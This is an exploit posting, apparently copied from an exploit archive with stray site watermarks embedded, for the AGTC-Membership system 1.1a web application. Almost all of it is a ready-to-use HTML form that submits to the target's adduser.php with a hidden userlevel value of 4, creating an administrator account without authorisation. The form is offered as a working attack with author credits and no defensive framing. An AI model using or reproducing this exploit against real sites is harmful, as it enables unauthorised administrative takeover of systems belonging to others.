PHP-AGTC membership system 1.1a Remote Add Admin Exploit

<!--
- Product : AGTC-Membership system
- Version : 1.1a
- Website : http://www.agtc.co.uk
- Author  : 0x90
- Homepage: WwW.0x90.CoM.Ar
- Contact : Guns[at]0x90[dot]com[dot]ar
- Problem : Admin Added Access.
-->

<form name="form1" method="post" action="http://[target]/adduser.php">
 <h3 align="center">AGTC-Membership system v1.1a (adduser) Remote Add
Admin Exploit</h3>
  <table width="40%" border="1" align="center" bordercolor="#000000">
    <tr>
      <td width="20%"><div align="right"><strong>User Name:</strong></div></td>
      <td width="40%"><input name="username" type="text" id="username" value="" maxlength="15"></td> 网管有家bitscn.net
    </tr>
    <tr>
      <td><div align="right"><strong>Password:</strong></div></td>
      <td><input name="userpass" type="password" id="userpass" value="" maxlength="15"></td>
    </tr>
<tr>
      <td><div align="right"><strong>Email Address:</strong></div></td>
      <td><input name="useremail" type="text" id="useremail" value="" maxlength="25"></td>
    </tr>
      <input name="userlevel" type="hidden" id="userlevel" value="4">
   <tr>
      <td>&nbsp;</td>
      <td><input type="submit" name="Submit" value="Add User"> 网管u家bitscn.net
        <input type="reset" name="Submit2" value="Reset"></form></td>
    </tr>
  </table>